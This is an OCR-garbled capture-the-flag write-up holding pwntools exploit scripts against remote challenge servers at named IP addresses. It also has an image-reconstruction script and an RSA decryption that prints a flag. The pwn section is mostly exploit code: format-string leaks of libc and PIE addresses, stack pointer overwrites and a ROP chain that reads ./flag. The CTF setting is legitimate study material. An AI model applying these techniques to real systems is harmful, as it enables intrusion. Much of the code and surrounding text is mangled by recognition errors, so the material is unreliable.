lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
lambda : p.interactive()

= process('./pwn")
remote('47.242.20.238"',"'10000")
'a'*24+'loveyou\x00"




from pwn import

r lambda : p.recv()

rx lambda x: p.recv(x)

ru lambda x: p.recvuntil(x)

rud lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)

sl lambda x: p.sendline(x)

sa lambda x, y: p.sendafter(x, y)

sla lambda x, y: p.sendlineafter(x, y)
close lambda : p.close()

debug lambda : gdb.attach(p)

shell lambda : p.interactive()

p = remote('123.57.230.48"','12343")
for i in range(200):
ru('numl:")
numl rud("\n")
ru('num2:")
num2 rud('\n")
ru('calculation is ")
sign rud('\n")
print(numl,num2,sign)
result = eval(numl+sign+num2)
sl(str(result))
shell()

bssBUi AL FRFER, FF TV &, LBHM T AORLE —Acheck, BT HE A FRF 5 IR G BER & Srbp HIE A orwiE Fr 7E 1

B, REHERTEMT, WAHSLH ASEA100%ITE, {ERMH SRR T

from pwn import

import time

context.arch 'amd64 '
context.log level 'debug'’

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
shell = lambda : p.interactive()

def pwn():
sla('input name', 'a'*0x18+p32(0))

"input number: ', str(0x6b8b4567))
sla('input number:',str(0x327b23c6))
sla('input number: ', str(0x643c9869))
sla('input number:',str(0x66334873))
"input number: ', str(0x74bodc51))
"input number: ', str(0x19495cff))
sla('input number:',str(0x2ae8944a))
sla('input number: ', str(0x625558ec))

sla

sla
sla




sla('input your number:',str(0x46e87ccd))

sla('try your best!\n', "'Amalll")

sleep(0.1)

s1('%31%p")

ru("Amalll")

base int(rx(14),16)-0x5fa80b

system = base+libc.sym['system' |&Oxffffff

sh base+libc.search('/bin/sh\x00"').next()

rdi = base+libc.search(asm("pop rdi;ret;")).next()
ret base+libc.search(asm("ret;")).next()

s1('Amalll")

sleep(0.1)

s1('%7%p")

ru('Amalll")

pie int(rx(14),16)-71-elf.sym[ 'mymain’]
buf (pie+0x4060)+8

success (hex(buf))

pl '%'+str(buf&exff)+'c%7$hhn'

s1('Amalll’)

sleep(0.1)

sl('%10%p")

rx(6)

stack int(rx(14),16)-0x30
success(hex(stack))

#15-->41

s1('Amalll")

sleep(0.1)

pl '%'+str(stack&oxffff)+'c%15¢hn"’
sl(pl)

#29-->43

s1('Amalll")

sleep(0.1)

pl '%"'+str((stack&oxffff)+2)+"'c%29%hn'
sl(pl)

#41-->6

sl('Amalll")

sleep(0.1)

pl '%"'+str((stack&oxffff)+4)+"'ck41$hn’

sl(pl)

[]
.append(buf&oxffff)

.append( (buf>>16)&0xffff)

.append( (buf>>32)&0xffff)

.sort()

rint(x[0],x[1],x[2]) #high, Low,mid

# gdb.attach(p, 'b *$rebase(6x1621)")
pl "%'+str(x[0])+"'c%6$hn" #high

pl "%'+str(x[1]-x[0])+"'c%41$hn’

pl "%'+str(x[2]-x[1])+"'c%43%hn'
sl('Amalll")




rdi
rsi
rdx
f_hook
dopen
dread
dwrite

rop
rop
rop
rop
rop
rop
rop
rop
rop

base+libc
base+libc
base+libc
base+l
base+1li
base+1li
base+1

p64(rdi)
p64(rsi)
p64(rdi)
p64(rsi)
p64(rdx)
p64(rdi)
p64(rsi)
p64(rdx)

.search(asm("pop rdi;ret;")).next()
.search(asm("pop rsi;ret;")).next()
.search(asm("pop rdx;ret;")).next()
ibc.sym['_free_hook']

bc.sym[ 'open']

bc.sym[ 'read’]

ibc.sym[ 'write']

p64(buf+0xa0)

p64(0)+p64(dopen)

p64(3)
p64(f_hook&oxffffff{ffffffo000+0x100)
p64(0x30)+p64(dread)

p64(1)
p64(f_hook&oxfffffffffffffo000+0x100)
p64(0x30)+p64(dwrite)

'./flag\x00\x00'"
# gdb.attach(p, 'b *'+str(rdi))

sl('jiaraniloveyou~\x00'+rop)

while 1
try:

# p = process('./pwn")

p = remote('47.242.20.238"','7777")
ELF("./pwn")

elf.libc

elf
libc
pwn ()
break
except
p.clo

shell()

se()

MR R IR — 4T —
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) ans (1).txt - iD@E -
IHHE) S|ERE) 50 =W/ WEH)
5 fc f5
5 fc f5
5 fc f5
5 fc f5
f5 fc f5
5 fc f5
5 fc f5
5 fc f5
fe fb f4
fé fb f4
f6 fb f4
fé6 b f4
f5 fa 3
5 fa 3
5 fa 3
5 fa f3
5 fa 3
5 fa f3
5 fa 3
5 fa f3
f5 fa f3
S fa f3
5 fa f3
5 fa f3
5 fb f1
5 fb f1
5 fb f1

iy, m9A 100%  Windows (CRLF) UTF-8

SRJE A SREUT A B2 1080*108087 & F+
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from PIL import Image

img Image.new('RGB', (1080,1080))

filetxt open(‘'ans.txt','r"').read()

filetxt = filetxt.replace('\n',"',")

# print(filetxt)

filetxt = filetxt.split(',') #length = 3499260

# print(len(filetxt))

rea v

hexlist []

for i in filetxt:
hexlist.append(int(i,16))

# print(len(hexlist)) #length = 3499260

new_txt open('nans.txt','a")

pixellist [1]

for i in range(0,3499200,3):
# new_txt.write(str(hexlist[i:1+3]).replace('["',"'("').replace(']"',"')"') + "\n")
# new_txt.write(str(hexlist[i:1+3]).replace('["',"'"').replace(']"',"'") + "\n")
pixellist.append(hexlist[i:i+3])

# print(type(pixellist))

#t pixel txt = open('4.txt','r').read()

#t pixel txt = pixel_ txt.split('\n')

# print(len(pixel_txt))

num 0

for x in range(0,10890):

for y in range(0,1080):
#print(tuple(pixellist[num]))
# print()
img.putpixel((x,y),tuple(pixellist[num]))
num = num + 1
img.show()

img.save('rea.png')

73



1§ FlgapsHit

gaps --image=rea.png --generations=50 --population=729 --size=40 --save
Crypto
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import gmpy2

p
q
P
e
C
n

821285845529489288911031313917

967244547191154261539598250343

1005682191548299165290460437397
65537
249128262668727227416761229197781088291962817031744463346178556057415901512114944554308575

pTq r

phi=(p-1)*(q-1)*(r-1)

d

m

gmpy2.invert(e,phi)
pow(c,d,n)

print(m)

print(binascii.unhexlify(hex(m)[2:].strip("L")))

b

SYC{now_you_solve_it}"'
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